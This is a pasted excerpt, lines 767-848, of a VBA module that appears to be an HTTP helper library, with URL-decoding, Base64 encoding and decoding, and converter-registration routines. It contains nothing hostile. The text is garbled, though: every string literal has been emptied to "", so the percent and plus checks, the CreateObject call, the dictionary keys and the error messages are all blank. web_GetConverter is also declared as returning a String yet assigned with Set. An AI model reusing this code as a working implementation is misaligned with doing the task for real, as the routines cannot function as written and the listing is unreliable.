  767. End Function
  768.  
  769. Public Function UrlDecode(Encoded As String, Optional PlusAsSpace As Boolean = True) As String
  770.      Dim web_StringLen As Long
  771.      web_StringLen = VBA.Len(Encoded)
  772.      If web_StringLen > 0 Then
  773.      Dim web_i As Long
  774.      Dim web_Result As String
  775.      Dim web_Temp As String
  776.      For web_i = 1 To web_StringLen
  777.      web_Temp = VBA.Mid$(Encoded, web_i, 1)
  778.      If web_Temp = "" And PlusAsSpace Then
  779.      web_Temp = ""
  780.      ElseIf web_Temp = "" And web_StringLen >= web_i + 2 Then
  781.      web_Temp = VBA.Mid$(Encoded, web_i + 1, 2)
  782.      web_Temp = VBA.Chr(VBA.CInt("" & web_Temp))
  783.      web_i = web_i + 2
  784.      End If
  785.      web_Result = web_Result & web_Temp
  786.      Next web_i
  787.      UrlDecode = web_Result
  788.      End If
  789. End Function
  790.  
  791. Public Function Base64Encode(Text As String) As String
  792.     #If Mac Then
  793.      Dim web_Command As String
  794.      web_Command = "" & PrepareTextForShell(Text) & ""
  795.      Base64Encode = ExecuteInShell(web_Command).Output
  796.     #Else
  797.      Dim web_Bytes() As Byte
  798.      web_Bytes = VBA.StrConv(Text, vbFromUnicode)
  799.      Base64Encode = web_AnsiBytesToBase64(web_Bytes)
  800.     #End If
  801.      Base64Encode = VBA.Replace$(Base64Encode, vbLf, "")
  802.     End Function
  803.     Public Function Base64Decode(Encoded As Variant) As String
  804.      If (VBA.Len(Encoded) Mod 4 > 0) Then
  805.      Encoded = Encoded & VBA.Left("", 4 - (VBA.Len(Encoded) Mod 4))
  806.      End If
  807.     #If Mac Then
  808.      Dim web_Command As String
  809.      web_Command = "" & PrepareTextForShell(Encoded) & ""
  810.      Base64Decode = ExecuteInShell(web_Command).Output
  811.     #Else
  812.      Dim web_XmlObj As Object
  813.      Dim web_Node As Object
  814.      Set web_XmlObj = CreateObject("")
  815.      Set web_Node = web_XmlObj.createElement("")
  816.      web_Node.DataType = ""
  817.      web_Node.Text = Encoded
  818.      Base64Decode = VBA.StrConv(web_Node.nodeTypedValue, vbUnicode)
  819.      Set web_Node = Nothing
  820.      Set web_XmlObj = Nothing
  821.     #End If
  822. End Function
  823.  
  824. Public Sub RegisterConverter( _
  825.      Name As String, MediaType As String, ConvertCallback As String, ParseCallback As String, _
  826.      Optional Instance As Object, Optional ParseType As String = "")
  827.      Dim web_Converter As New Dictionary
  828.      web_Converter("") = MediaType
  829.      web_Converter("") = ConvertCallback
  830.      web_Converter("") = ParseCallback
  831.      web_Converter("") = ParseType
  832.      If Not Instance Is Nothing Then
  833.      Set web_Converter("") = Instance
  834.      End If
  835.      If web_pConverters Is Nothing Then: Set web_pConverters = New Dictionary
  836.      Set web_pConverters(Name) = web_Converter
  837. End Sub
  838.  
  839. Private Function web_GetConverter(web_CustomFormat As String) As String
  840.      If web_pConverters.Exists(web_CustomFormat) Then
  841.      Set web_GetConverter = web_pConverters(web_CustomFormat)
  842.      Else
  843.      LogError "" & web_CustomFormat, _
  844.      "", 11002
  845.      Err.Raise 11002, "", _
  846.      "" & web_CustomFormat
  847.      End If
  848. End Function
RAW Paste Data